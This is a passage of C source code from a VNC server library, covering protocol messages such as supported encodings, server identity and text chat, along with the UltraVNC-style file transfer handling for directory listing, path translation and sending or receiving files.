RFB_NORMAL)) { rfbLog("-dontdisconnect: Not shared & existing client\n"); rfbLog(" refusing new client %s\n", cl->host); rfbCloseClient(cl); rfbReleaseClientIterator(iterator); return; } } rfbReleaseClientIterator(iterator); } else { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("Not shared - closing connection to client %s\n", otherCl->host); rfbCloseClient(otherCl); } } rfbReleaseClientIterator(iterator); } } } /* The values come in based on the scaled screen, we need to convert them to * values based on the man screen's coordinate system */ static rfbBool rectSwapIfLEAndClip(uint16_t* x,uint16_t* y,uint16_t* w,uint16_t* h, rfbClientPtr cl) { int x1=Swap16IfLE(*x); int y1=Swap16IfLE(*y); int w1=Swap16IfLE(*w); int h1=Swap16IfLE(*h); rfbScaledCorrection(cl->scaledScreen, cl->screen, &x1, &y1, &w1, &h1, "rectSwapIfLEAndClip"); *x = x1; *y = y1; *w = w1; *h = h1; if(*w>cl->screen->width-*x) *w=cl->screen->width-*x; /* possible underflow */ if(*w>cl->screen->width-*x) return FALSE; if(*h>cl->screen->height-*y) *h=cl->screen->height-*y; if(*h>cl->screen->height-*y) return FALSE; return TRUE; } /* * Send keyboard state (PointerPos pseudo-encoding). */ rfbBool rfbSendKeyboardLedState(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingKeyboardLedState); rect.r.x = Swap16IfLE(cl->lastKeyboardLedState); rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingKeyboardLedState, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define rfbSetBit(buffer, position) (buffer[(position & 255) / 8] |= (1 << (position % 8))) /* * Send rfbEncodingSupportedMessages. */ rfbBool rfbSendSupportedMessages(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; rfbSupportedMessages msgs; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbSupportedMessages > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedMessages); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(sz_rfbSupportedMessages); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memset((char *)&msgs, 0, sz_rfbSupportedMessages); rfbSetBit(msgs.client2server, rfbSetPixelFormat); rfbSetBit(msgs.client2server, rfbFixColourMapEntries); rfbSetBit(msgs.client2server, rfbSetEncodings); rfbSetBit(msgs.client2server, rfbFramebufferUpdateRequest); rfbSetBit(msgs.client2server, rfbKeyEvent); rfbSetBit(msgs.client2server, rfbPointerEvent); rfbSetBit(msgs.client2server, rfbClientCutText); rfbSetBit(msgs.client2server, rfbFileTransfer); rfbSetBit(msgs.client2server, rfbSetScale); /*rfbSetBit(msgs.client2server, rfbSetServerInput); */ /*rfbSetBit(msgs.client2server, rfbSetSW); */ /*rfbSetBit(msgs.client2server, rfbTextChat); */ rfbSetBit(msgs.client2server, rfbPalmVNCSetScaleFactor); rfbSetBit(msgs.server2client, rfbFramebufferUpdate); rfbSetBit(msgs.server2client, rfbSetColourMapEntries); rfbSetBit(msgs.server2client, rfbBell); rfbSetBit(msgs.server2client, rfbServerCutText); rfbSetBit(msgs.server2client, rfbResizeFrameBuffer); rfbSetBit(msgs.server2client, rfbPalmVNCReSizeFrameBuffer); if (cl->screen->xvpHook) { rfbSetBit(msgs.client2server, rfbXvp); rfbSetBit(msgs.server2client, rfbXvp); } memcpy(&cl->updateBuf[cl->ublen], (char *)&msgs, sz_rfbSupportedMessages); cl->ublen += sz_rfbSupportedMessages; rfbStatRecordEncodingSent(cl, rfbEncodingSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send rfbEncodingSupportedEncodings. */ rfbBool rfbSendSupportedEncodings(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; static uint32_t supported[] = { rfbEncodingRaw, rfbEncodingCopyRect, rfbEncodingRRE, rfbEncodingCoRRE, rfbEncodingHextile, #ifdef LIBVNCSERVER_HAVE_LIBZ rfbEncodingZlib, rfbEncodingZRLE, rfbEncodingZYWRLE, #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG rfbEncodingTight, #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG rfbEncodingTightPng, #endif rfbEncodingUltra, rfbEncodingUltraZip, rfbEncodingXCursor, rfbEncodingRichCursor, rfbEncodingPointerPos, rfbEncodingLastRect, rfbEncodingNewFBSize, rfbEncodingKeyboardLedState, rfbEncodingSupportedMessages, rfbEncodingSupportedEncodings, rfbEncodingServerIdentity, }; uint32_t nEncodings = sizeof(supported) / sizeof(supported[0]), i; /* think rfbSetEncodingsMsg */ if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (nEncodings * sizeof(uint32_t)) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedEncodings); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(nEncodings * sizeof(uint32_t)); rect.r.h = Swap16IfLE(nEncodings); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; for (i = 0; i < nEncodings; i++) { uint32_t encoding = Swap32IfLE(supported[i]); memcpy(&cl->updateBuf[cl->ublen], (char *)&encoding, sizeof(encoding)); cl->ublen += sizeof(encoding); } rfbStatRecordEncodingSent(cl, rfbEncodingSupportedEncodings, sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t)), sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t))); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } void rfbSetServerVersionIdentity(rfbScreenInfoPtr screen, char *fmt, ...) { char buffer[256]; va_list ap; va_start(ap, fmt); vsnprintf(buffer, sizeof(buffer)-1, fmt, ap); va_end(ap); if (screen->versionString!=NULL) free(screen->versionString); screen->versionString = strdup(buffer); } /* * Send rfbEncodingServerIdentity. */ rfbBool rfbSendServerIdentity(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; char buffer[512]; /* tack on our library version */ snprintf(buffer,sizeof(buffer)-1, "%s (%s)", (cl->screen->versionString==NULL ? "unknown" : cl->screen->versionString), LIBVNCSERVER_PACKAGE_STRING); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (strlen(buffer)+1) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingServerIdentity); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(strlen(buffer)+1); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memcpy(&cl->updateBuf[cl->ublen], buffer, strlen(buffer)+1); cl->ublen += strlen(buffer)+1; rfbStatRecordEncodingSent(cl, rfbEncodingServerIdentity, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send an xvp server message */ rfbBool rfbSendXvp(rfbClientPtr cl, uint8_t version, uint8_t code) { rfbXvpMsg xvp; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&xvp, sz_rfbXvpMsg) < 0) { rfbLogPerror("rfbSendXvp: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbXvp, sz_rfbXvpMsg, sz_rfbXvpMsg); return TRUE; } rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer) { rfbTextChatMsg tc; int bytesToSend=0; memset((char *)&tc, 0, sizeof(tc)); tc.type = rfbTextChat; tc.length = Swap32IfLE(length); switch(length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: bytesToSend=0; break; default: bytesToSend=length; if (bytesToSend>rfbTextMaxSize) bytesToSend=rfbTextMaxSize; } if (cl->ublen + sz_rfbTextChatMsg + bytesToSend > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } memcpy(&cl->updateBuf[cl->ublen], (char *)&tc, sz_rfbTextChatMsg); cl->ublen += sz_rfbTextChatMsg; if (bytesToSend>0) { memcpy(&cl->updateBuf[cl->ublen], buffer, bytesToSend); cl->ublen += bytesToSend; } rfbStatRecordMessageSent(cl, rfbTextChat, sz_rfbTextChatMsg+bytesToSend, sz_rfbTextChatMsg+bytesToSend); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN(msg, cl, ret) \ if ((cl->screen->getFileTransferPermission != NULL \ && cl->screen->getFileTransferPermission(cl) != TRUE) \ || cl->screen->permitFileTransfer != TRUE) { \ rfbLog("%sUltra File Transfer is disabled, dropping client: %s\n", msg, cl->host); \ rfbCloseClient(cl); \ return ret; \ } int DB = 1; rfbBool rfbSendFileTransferMessage(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length, const char *buffer) { rfbFileTransferMsg ft; ft.type = rfbFileTransfer; ft.contentType = contentType; ft.contentParam = contentParam; ft.pad = 0; /* UltraVNC did not Swap16LE(ft.contentParam) (Looks like it might be BigEndian) */ ft.size = Swap32IfLE(size); ft.length = Swap32IfLE(length); FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbSendFileTransferMessage( %dtype, %dparam, %dsize, %dlen, %p)\n", contentType, contentParam, size, length, buffer); */ LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&ft, sz_rfbFileTransferMsg) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } if (length>0) { if (rfbWriteExact(cl, buffer, length) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbFileTransfer, sz_rfbFileTransferMsg+length, sz_rfbFileTransferMsg+length); return TRUE; } /* * UltraVNC uses Windows Structures */ #define MAX_PATH 260 typedef struct { uint32_t dwLowDateTime; uint32_t dwHighDateTime; } RFB_FILETIME; typedef struct { uint32_t dwFileAttributes; RFB_FILETIME ftCreationTime; RFB_FILETIME ftLastAccessTime; RFB_FILETIME ftLastWriteTime; uint32_t nFileSizeHigh; uint32_t nFileSizeLow; uint32_t dwReserved0; uint32_t dwReserved1; uint8_t cFileName[ MAX_PATH ]; uint8_t cAlternateFileName[ 14 ]; } RFB_FIND_DATA; #define RFB_FILE_ATTRIBUTE_READONLY 0x1 #define RFB_FILE_ATTRIBUTE_HIDDEN 0x2 #define RFB_FILE_ATTRIBUTE_SYSTEM 0x4 #define RFB_FILE_ATTRIBUTE_DIRECTORY 0x10 #define RFB_FILE_ATTRIBUTE_ARCHIVE 0x20 #define RFB_FILE_ATTRIBUTE_NORMAL 0x80 #define RFB_FILE_ATTRIBUTE_TEMPORARY 0x100 #define RFB_FILE_ATTRIBUTE_COMPRESSED 0x800 rfbBool rfbFilenameTranslate2UNIX(rfbClientPtr cl, /* in */ char *path, /* out */ char *unixPath, size_t unixPathMaxLen) { int x; char *home=NULL; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* * Do not use strncpy() - truncating the file name would probably have undesirable side effects * Instead check if destination buffer is big enough */ if (strlen(path) >= unixPathMaxLen) return FALSE; /* C: */ if (path[0]=='C' && path[1]==':') strcpy(unixPath, &path[2]); else { home = getenv("HOME"); if (home!=NULL) { /* Re-check buffer size */ if ((strlen(path) + strlen(home) + 1) >= unixPathMaxLen) return FALSE; strcpy(unixPath, home); strcat(unixPath,"/"); strcat(unixPath, path); } else strcpy(unixPath, path); } for (x=0;x<strlen(unixPath);x++) if (unixPath[x]=='\\') unixPath[x]='/'; return TRUE; } rfbBool rfbFilenameTranslate2DOS(rfbClientPtr cl, char *unixPath, char *path) { int x; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); sprintf(path,"C:%s", unixPath); for (x=2;x<strlen(path);x++) if (path[x]=='/') path[x]='\\'; return TRUE; } rfbBool rfbSendDirContent(rfbClientPtr cl, int length, char *buffer) { char retfilename[MAX_PATH]; char path[MAX_PATH]; struct stat statbuf; RFB_FIND_DATA win32filename; int nOptLen = 0, retval=0; #ifdef WIN32 WIN32_FIND_DATAA winFindData; HANDLE findHandle; int pathLen, basePathLength; char *basePath; #else DIR *dirp=NULL; struct dirent *direntp=NULL; #endif FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* Client thinks we are Winblows */ if (!rfbFilenameTranslate2UNIX(cl, buffer, path, sizeof(path))) return FALSE; if (DB) rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: \"%s\"->\"%s\"\n",buffer, path); #ifdef WIN32 // Create a search string, like C:\folder\* pathLen = strlen(path); basePath = malloc(pathLen + 3); memcpy(basePath, path, pathLen); basePathLength = pathLen; basePath[basePathLength] = '\\'; basePath[basePathLength + 1] = '*'; basePath[basePathLength + 2] = '\0'; // Start a search memset(&winFindData, 0, sizeof(winFindData)); findHandle = FindFirstFileA(path, &winFindData); free(basePath); if (findHandle == INVALID_HANDLE_VALUE) #else dirp=opendir(path); if (dirp==NULL) #endif return rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, 0, NULL); /* send back the path name (necessary for links) */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, length, buffer)==FALSE) return FALSE; #ifdef WIN32 while (findHandle != INVALID_HANDLE_VALUE) #else for (direntp=readdir(dirp); direntp!=NULL; direntp=readdir(dirp)) #endif { /* get stats */ #ifdef WIN32 snprintf(retfilename,sizeof(retfilename),"%s/%s", path, winFindData.cFileName); #else snprintf(retfilename,sizeof(retfilename),"%s/%s", path, direntp->d_name); #endif retval = stat(retfilename, &statbuf); if (retval==0) { memset((char *)&win32filename, 0, sizeof(win32filename)); #ifdef WIN32 win32filename.dwFileAttributes = winFindData.dwFileAttributes; win32filename.ftCreationTime.dwLowDateTime = winFindData.ftCreationTime.dwLowDateTime; win32filename.ftCreationTime.dwHighDateTime = winFindData.ftCreationTime.dwHighDateTime; win32filename.ftLastAccessTime.dwLowDateTime = winFindData.ftLastAccessTime.dwLowDateTime; win32filename.ftLastAccessTime.dwHighDateTime = winFindData.ftLastAccessTime.dwHighDateTime; win32filename.ftLastWriteTime.dwLowDateTime = winFindData.ftLastWriteTime.dwLowDateTime; win32filename.ftLastWriteTime.dwHighDateTime = winFindData.ftLastWriteTime.dwHighDateTime; win32filename.nFileSizeLow = winFindData.nFileSizeLow; win32filename.nFileSizeHigh = winFindData.nFileSizeHigh; win32filename.dwReserved0 = winFindData.dwReserved0; win32filename.dwReserved1 = winFindData.dwReserved1; strcpy((char *)win32filename.cFileName, winFindData.cFileName); strcpy((char *)win32filename.cAlternateFileName, winFindData.cAlternateFileName); #else win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_NORMAL); if (S_ISDIR(statbuf.st_mode)) win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_DIRECTORY); win32filename.ftCreationTime.dwLowDateTime = Swap32IfBE(statbuf.st_ctime); /* Intel Order */ win32filename.ftCreationTime.dwHighDateTime = 0; win32filename.ftLastAccessTime.dwLowDateTime = Swap32IfBE(statbuf.st_atime); /* Intel Order */ win32filename.ftLastAccessTime.dwHighDateTime = 0; win32filename.ftLastWriteTime.dwLowDateTime = Swap32IfBE(statbuf.st_mtime); /* Intel Order */ win32filename.ftLastWriteTime.dwHighDateTime = 0; win32filename.nFileSizeLow = Swap32IfBE(statbuf.st_size); /* Intel Order */ win32filename.nFileSizeHigh = 0; win32filename.dwReserved0 = 0; win32filename.dwReserved1 = 0; /* If this had the full path, we would need to translate to DOS format ("C:\") */ /* rfbFilenameTranslate2DOS(cl, retfilename, win32filename.cFileName); */ strcpy((char *)win32filename.cFileName, direntp->d_name); #endif /* Do not show hidden files (but show how to move up the tree) */ if ((strcmp((char *)win32filename.cFileName, "..")==0) || (win32filename.cFileName[0]!='.')) { nOptLen = sizeof(RFB_FIND_DATA) - MAX_PATH - 14 + strlen((char *)win32filename.cFileName); /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: Sending \"%s\"\n", (char *)win32filename.cFileName); */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, nOptLen, (char *)&win32filename)==FALSE) { #ifdef WIN32 FindClose(findHandle); #else closedir(dirp); #endif return FALSE; } } } #ifdef WIN32 if (FindNextFileA(findHandle, &winFindData) == 0) { FindClose(findHandle); findHandle = INVALID_HANDLE_VALUE; } #endif } #ifdef WIN32 if (findHandle != INVALID_HANDLE_VALUE) { FindClose(findHandle); } #else closedir(dirp); #endif /* End of the transfer */ return rfbSendFileTransferMessage(cl, rfbDirPacket, 0, 0, 0, NULL); } char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length) { char *buffer=NULL; int n=0; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, NULL); /* We later alloc length+1, which might wrap around on 32-bit systems if length equals 0XFFFFFFFF, i.e. SIZE_MAX for 32-bit systems. On 64-bit systems, a length of 0XFFFFFFFF will safely be allocated since this check will never trigger and malloc() can digest length+1 without problems as length is a uint32_t. */ if(length == SIZE_MAX) { rfbErr("rfbProcessFileTransferReadBuffer: too big file transfer length requested: %u", (unsigned int)length); rfbCloseClient(cl); return NULL; } if (length>0) { buffer=malloc((size_t)length+1); if (buffer!=NULL) { if ((n = rfbReadExact(cl, (char *)buffer, length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransferReadBuffer: read"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return NULL; } /* Null Terminate */ buffer[length]=0; } } return buffer; } rfbBool rfbSendFileTransferChunk(rfbClientPtr cl) { /* Allocate buffer for compression */ unsigned char readBuf[sz_rfbBlockSize]; int bytesRead=0; int retval=0; fd_set wfds; struct timeval tv; int n; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuf[sz_rfbBlockSize + 1024]; unsigned long nMaxCompSize = sizeof(compBuf); int nRetC = 0; #endif /* * Don't close the client if we get into this one because * it is called from many places to service file transfers. * Note that permitFileTransfer is checked first. */ if (cl->screen->permitFileTransfer != TRUE || (cl->screen->getFileTransferPermission != NULL && cl->screen->getFileTransferPermission(cl) != TRUE)) { return TRUE; } /* If not sending, or no file open... Return as if we sent something! */ if ((cl->fileTransfer.fd!=-1) && (cl->fileTransfer.sending==1)) { FD_ZERO(&wfds); FD_SET(cl->sock, &wfds); /* return immediately */ tv.tv_sec = 0; tv.tv_usec = 0; n = select(cl->sock + 1, NULL, &wfds, NULL, &tv); if (n<0) { #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk() select failed: %s\n", strerror(errno)); } /* We have space on the transmit queue */ if (n > 0) { bytesRead = read(cl->fileTransfer.fd, readBuf, sz_rfbBlockSize); switch (bytesRead) { case 0: /* rfbLog("rfbSendFileTransferChunk(): End-Of-File Encountered\n"); */ retval = rfbSendFileTransferMessage(cl, rfbEndOfFile, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; case -1: /* TODO : send an error msg to the client... */ #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk(): %s\n",strerror(errno)); retval = rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; default: /* rfbLog("rfbSendFileTransferChunk(): Read %d bytes\n", bytesRead); */ if (!cl->fileTransfer.compressionEnabled) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); else { #ifdef LIBVNCSERVER_HAVE_LIBZ nRetC = compress(compBuf, &nMaxCompSize, readBuf, bytesRead); /* rfbLog("Compressed the packet from %d -> %d bytes\n", nMaxCompSize, bytesRead); */ if ((nRetC==0) && (nMaxCompSize<bytesRead)) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 1, nMaxCompSize, (char *)compBuf); else return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); #else /* We do not support compression of the data stream */ return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); #endif } } } } return TRUE; } rfbBool rfbProcessFileTransfer(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length) { char *buffer=NULL, *p=NULL; int retval=0; char filename1[MAX_PATH]; char filename2[MAX_PATH]; char szFileTime[MAX_PATH]; struct stat statbuf; uint32_t sizeHtmp=0; int n=0; char timespec[64]; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuff[sz_rfbBlockSize]; unsigned long nRawBytes = sz_rfbBlockSize; int nRet = 0; #endif FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbProcessFileTransfer(%dtype, %dparam, %dsize, %dlen)\n", contentType, contentParam, size, length); */ switch (contentType) { case rfbDirContentRequest: switch (contentParam) { case rfbRDrivesList: /* Client requests the List of Local Drives */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDrivesList:\n"); */ /* Format when filled : "C:\<NULL>D:\<NULL>....Z:\<NULL><NULL> * * We replace the "\" char following the drive letter and ":" * with a char corresponding to the type of drive * We obtain something like "C:l<NULL>D:c<NULL>....Z:n\<NULL><NULL>" * Isn't it ugly ? * DRIVE_FIXED = 'l' (local?) * DRIVE_REMOVABLE = 'f' (floppy?) * DRIVE_CDROM = 'c' * DRIVE_REMOTE = 'n' */ /* in unix, there are no 'drives' (We could list mount points though) * We fake the root as a "C:" for the Winblows users */ filename2[0]='C'; filename2[1]=':'; filename2[2]='l'; filename2[3]=0; filename2[4]=0; retval = rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADrivesList, 0, 5, filename2); if (buffer!=NULL) free(buffer); return retval; break; case rfbRDirContent: /* Client requests the content of a directory */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; retval = rfbSendDirContent(cl, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; case rfbDirPacket: rfbLog("rfbProcessFileTransfer() rfbDirPacket\n"); break; case rfbFileAcceptHeader: rfbLog("rfbProcessFileTransfer() rfbFileAcceptHeader\n"); break; case rfbCommandReturn: rfbLog("rfbProcessFileTransfer() rfbCommandReturn\n"); break; case rfbFileChecksums: /* Destination file already exists - the viewer sends the checksums */ rfbLog("rfbProcessFileTransfer() rfbFileChecksums\n"); break; case rfbFileTransferAccess: rfbLog("rfbProcessFileTransfer() rfbFileTransferAccess\n"); break; /* * sending from the server to the viewer */ case rfbFileTransferRequest: /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest:\n"); */ /* add some space to the end of the buffer as we will be adding a timespec to it */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* The client requests a File */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; cl->fileTransfer.fd=open(filename1, O_RDONLY, 0744); /* */ if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\") Open: %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), cl->fileTransfer.fd); if (cl->fileTransfer.fd!=-1) { if (fstat(cl->fileTransfer.fd, &statbuf)!=0) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; } else { /* Add the File Time Stamp to the filename */ strftime(timespec, sizeof(timespec), "%m/%d/%Y %H:%M",gmtime(&statbuf.st_ctime)); buffer=realloc(buffer, length + strlen(timespec) + 2); /* comma, and Null term */ if (buffer==NULL) { rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest: Failed to malloc %d bytes\n", length + strlen(timespec) + 2); return FALSE; } strcat(buffer,","); strcat(buffer, timespec); length = strlen(buffer); if (DB) rfbLog("rfbProcessFileTransfer() buffer is now: \"%s\"\n", buffer); } } /* The viewer supports compression if size==1 */ cl->fileTransfer.compressionEnabled = (size==1); /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\")%s\n", buffer, filename1, (size==1?" <Compression Enabled>":"")); */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : statbuf.st_size), length, buffer); if (cl->fileTransfer.fd==-1) { if (buffer!=NULL) free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = statbuf.st_size; cl->fileTransfer.numPackets = statbuf.st_size / sz_rfbBlockSize; cl->fileTransfer.receiving = 0; cl->fileTransfer.sending = 0; /* set when we receive a rfbFileHeader: */ /* TODO: finish 64-bit file size support */ sizeHtmp = 0; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sizeHtmp, 4) < 0) { rfbLogPerror("rfbProcessFileTransfer: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); if (buffer!=NULL) free(buffer); return FALSE; } UNLOCK(cl->sendMutex); break; case rfbFileHeader: /* Destination file (viewer side) is ready for reception (size > 0) or not (size = -1) */ if (size==-1) { rfbLog("rfbProcessFileTransfer() rfbFileHeader (error, aborting)\n"); close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; return TRUE; } /* rfbLog("rfbProcessFileTransfer() rfbFileHeader (%d bytes of a file)\n", size); */ /* Starts the transfer! */ cl->fileTransfer.sending=1; return rfbSendFileTransferChunk(cl); break; /* * sending from the viewer to the server */ case rfbFileTransferOffer: /* client is sending a file to us */ /* buffer contains full path name (plus FileTime) */ /* size contains size of the file */ /* rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* Parse the FileTime */ p = strrchr(buffer, ','); if (p!=NULL) { *p = '\0'; strncpy(szFileTime, p+1, sizeof(szFileTime)); szFileTime[sizeof(szFileTime)-1] = '\x00'; /* ensure NULL terminating byte is present, even if copy overflowed */ } else szFileTime[0]=0; /* Need to read in sizeHtmp */ if ((n = rfbReadExact(cl, (char *)&sizeHtmp, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransfer: read sizeHtmp"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return FALSE; } sizeHtmp = Swap32IfLE(sizeHtmp); if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; /* If the file exists... We can send a rfbFileChecksums back to the client before we send an rfbFileAcceptHeader */ /* TODO: Delta Transfer */ cl->fileTransfer.fd=open(filename1, O_CREAT|O_WRONLY|O_TRUNC, 0744); if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer(\"%s\"->\"%s\") %s %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), (cl->fileTransfer.fd==-1?strerror(errno):""), cl->fileTransfer.fd); /* */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileAcceptHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : 0), length, buffer); if (cl->fileTransfer.fd==-1) { free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = size; cl->fileTransfer.numPackets = size / sz_rfbBlockSize; cl->fileTransfer.receiving = 1; cl->fileTransfer.sending = 0; break; case rfbFilePacket: /* rfbLog("rfbProcessFileTransfer() rfbFilePacket:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; if (cl->fileTransfer.fd!=-1) { /* buffer contains the contents of the file */ if (size==0) retval=write(cl->fileTransfer.fd, buffer, length); else { #ifdef LIBVNCSERVER_HAVE_LIBZ /* compressed packet */ nRet = uncompress(compBuff,&nRawBytes,(const unsigned char*)buffer, length); if(nRet == Z_OK) retval=write(cl->fileTransfer.fd, (char*)compBuff, nRawBytes); else retval = -1; #else /* Write the file out as received... */ retval=write(cl->fileTransfer.fd, buffer, 